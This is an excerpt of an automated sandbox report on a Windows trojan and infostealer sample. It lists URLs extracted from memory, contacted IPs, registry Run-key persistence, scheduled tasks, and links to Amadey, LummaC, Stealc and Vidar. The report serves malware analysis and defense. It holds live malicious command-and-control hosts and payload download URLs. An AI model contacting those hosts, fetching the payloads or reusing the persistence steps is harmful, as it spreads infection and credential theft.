https://property-imper.sbs/apiTC	954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000002F.00000002.3677799309.00000214FE750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCC34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/api1s	954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE5A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllO	file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://getpocket.com/firefox/new_tab_learn_moredownloads-cmd-always-use-system-default-named	firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/u	954f709e67.exe, 00000020.00000003.3223615276.000000000162A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/s	lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs/m	954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exei	skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/lfons	lll.exe, 0000001C.00000003.3123640045.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://property-imper.sbs:443/api4	lll.exe, 0000001C.00000003.3042893343.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043125250.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000002F.00000002.3656000077.00000214FCD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/C	lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3094295413.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000002F.00000002.3672212756.00000214FE36B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA210000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3274062051.00000214FD400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeJ	skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/upload	chrome.exe, 00000024.00000003.3220495183.00005A8000878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292423570.00005A80008D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/c	lll.exe, 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs:443/apiK	954f709e67.exe, 0000001D.00000002.3306723851.0000000001131000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://screenshots.firefox.com/internal:privateBrowsingAllowedshims/mochitest-shim-2.jsshims/mochit	firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/	firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.isCollectionDismissible	firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/S	lll.exe, 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000002F.00000002.3640026426.00000214FA3EA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phppa	file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.133	unknown	United States	35994	AKAMAI-ASUS	false
18.173.132.116	unknown	United States	3	MIT-GATEWAYSUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
23.57.90.81	unknown	United States	35994	AKAMAI-ASUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.183.192.109	unknown	United States	7018	ATT-INTERNET4US	false
23.43.85.36	unknown	United States	3257	GTT-BACKBONEGTTDE	false
23.49.251.29	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.200.3.13	unknown	United States	20940	AKAMAI-ASN1EU	false
23.43.85.20	unknown	United States	3257	GTT-BACKBONEGTTDE	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
51.116.253.170	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
142.250.176.193	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561283
Start date and time:	2024-11-23 01:13:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@111/325@63/29
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 74.125.205.84, 172.217.17.46, 34.104.35.123, 199.232.210.172, 142.250.181.10, 172.217.19.234, 142.250.181.74, 142.250.181.42, 172.217.19.202, 172.217.17.42, 172.217.17.74, 172.217.21.42, 142.250.181.138, 216.58.208.234, 142.250.181.106, 192.229.221.95, 172.217.19.170, 172.217.19.10, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.165.69.228, 2.19.198.56, 23.32.238.138, 2.16.158.56, 2.16.158.75, 2.16.158.91, 2.16.158.80, 2.16.158.187, 2.16.158.185, 2.16.158.33, 2.16.158.90, 2.16.158.58, 23.32.238.163, 23.32.238.208, 23.32.238.168, 104.126.37.186, 104.126.37.185, 104.126.37.123, 104.126.37.136, 104.126.37.130, 104.126.37.137, 104.126.37.139, 104.126.37.179, 104.126.37.128, 13.107.21.237, 204.79.197.237, 13.74.129.1, 172.165.61.93, 199.232.214.172, 2.16.158.169, 2.16.158.179, 2.16.158.81, 2.16.158.96, 2.16.158.192, 2.16.158.170, 2.16.158.82, 35.80.238.59, 35.164.125.63, 52.12.64.98, 142.250.80.67, 142.251.40.163, 142.251.32.9
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, wildcardtlu-ssl.azureedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l
Execution Graph export aborted for target DocumentsIDHCGDAFBK.exe, PID 8800 because it is empty
Execution Graph export aborted for target file.exe, PID 6460 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6284 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8340 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:14:46	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:15:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 954f709e67.exe C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe
01:15:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 97aac85e85.exe C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe
01:15:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 15a477ae94.exe C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe
01:16:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 954f709e67.exe C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe
01:16:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 97aac85e85.exe C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe
01:16:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 15a477ae94.exe C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe
19:14:24	API Interceptor	126x Sleep call for process: file.exe modified
19:15:01	API Interceptor	867x Sleep call for process: skotes.exe modified
19:15:30	API Interceptor	8x Sleep call for process: lll.exe modified
19:15:38	API Interceptor	10x Sleep call for process: 954f709e67.exe modified
19:15:48	API Interceptor	55x Sleep call for process: f979933b17.exe modified
19:15:59	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.classify-client.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.190.72.216
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.190.72.216
prod.balrog.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	8347392490280.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	23.217.172.185
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	2.20.40.227
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.6.144.135
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	23.54.198.233
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	2.18.56.63
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	23.73.76.97
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	23.2.190.55
	https://app.typeset.com/play/G4WZ1	Get hash	malicious	HTMLPhisher	Browse	23.206.197.16
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	23.75.89.70
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
